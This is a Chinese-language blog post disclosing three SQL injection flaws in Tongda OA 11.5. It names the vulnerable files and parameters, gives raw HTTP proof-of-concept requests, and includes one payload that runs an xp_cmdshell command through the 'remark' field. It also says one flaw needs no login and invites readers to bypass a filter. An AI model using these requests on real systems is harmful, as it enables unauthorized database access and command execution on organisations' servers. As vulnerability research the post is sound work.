通达OA 多枚 0day漏洞 V2 附POC¶
这是继:"【全网首发】通达OA 多枚 0day漏洞分享 附POC" 对通达OA 系统更加深入的一次审计,重新审计后又发现一些问题。
0x001 SQL注入 POC(11.5版本无需登录):¶
漏洞参数:SORT_ID,FILE_SORT
审计版本:通达OA 11.5

看看下图,在我去掉cookie之后,发现一样能注入,我测试的11.5版本存在未授权也能注入。
漏洞文件:webroot\general\file_folder\swfupload_new.php 。
先看SORT_ID与FILE_SORT参数,这两个参数都 是通过$data[""]; 来接收变量,都直接带入SQL查询语句中,没有做任何过滤,造成注入。
0x002 SQL注入 POC(有过滤):¶
漏洞参数:CONTENT_ID_STR
审计版本:通达OA 11.5
POST /general/file_folder/api.php HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.117 Safari/537.36

CONTENT_ID_STR=222&SORT_ID=59&FILE_SORT=1&action=sign
漏洞文件:webroot\general\file_folder\folder.php。
但是经过了td_trim函数,会过滤掉:空格、制表符、换行符、回车符、垂直制表符等。只能报错,或尝试 and 等语句判断还是没有问题的。
如果有厉害的师傅会有戏,可以绕绕试试了,先放这里了。
0x003 SQL注入 POC:¶
漏洞参数:remark
审计版本:通达OA 11.5
POST /general/appbuilder/web/meeting/meetingmanagement/meetingreceipt HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.117 Safari/537.36

m_id=5&join_flag=2&remark='%3b%20exec%20master%2e%2exp_cmdshell%20'ping%20172%2e10%2e1%2e255'--
漏洞文件:webroot\general\appbuilder\modules\meeting\models\MeetingReceipt.php。
漏洞存在于$remark = $data['remark']; 与$form->REMARK = $remark;
可以看到remark参数没有过滤,直接拼接到insert语句中造成的注入。
